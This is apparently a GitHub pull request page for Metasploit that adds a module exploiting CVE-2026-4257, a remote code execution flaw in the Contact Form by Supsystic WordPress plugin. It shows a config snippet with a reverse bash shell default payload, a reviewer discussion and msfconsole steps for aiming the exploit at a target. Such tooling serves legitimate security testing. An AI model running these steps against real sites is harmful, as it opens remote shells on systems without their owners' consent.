Contact Form by Supsystic Wordpress Plugin exploit CVE-2026-4257#21267
Open
bootstrapbool wants to merge 7 commits intorapid7:masterfrom
Open
Contact Form by Supsystic Wordpress Plugin exploit CVE-2026-4257#21267bootstrapbool wants to merge 7 commits intorapid7:masterfrom
bootstrapbool wants to merge 7 commits intorapid7:masterfrom
Conversation
Tweaks supsystic contact form module to use twig base64 encoder Adds author email
dwelch-r7
reviewed
Apr 23, 2026
| 'Payload' => { | ||
| 'Encoder' => 'cmd/twig_base64' | ||
| }, | ||
| 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } |
Contributor
There was a problem hiding this comment.
Did the module not work if you don't set a default payload?
Contributor
Author
There was a problem hiding this comment.
Yes, I was unable to get other payloads like meterpreter to work. I think because of bad characters?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This change adds a module to exploit CVE-2026-4257 resulting in remote code execution on Wordpress sites with the Contact Form by Supsystic plugin.
Verification
List the steps needed to make sure this thing works
msfconsoleuse exploit/multi/http/wp_plugin_supsystic_contact_form_rceset RHOSTS <target>set TARGETURI <uri to page with contact form>(e.g.,/wordpress/index.php/sample-page/)set LHOST <your_ip>exploit*pcap sent to msfdev@metasploit.com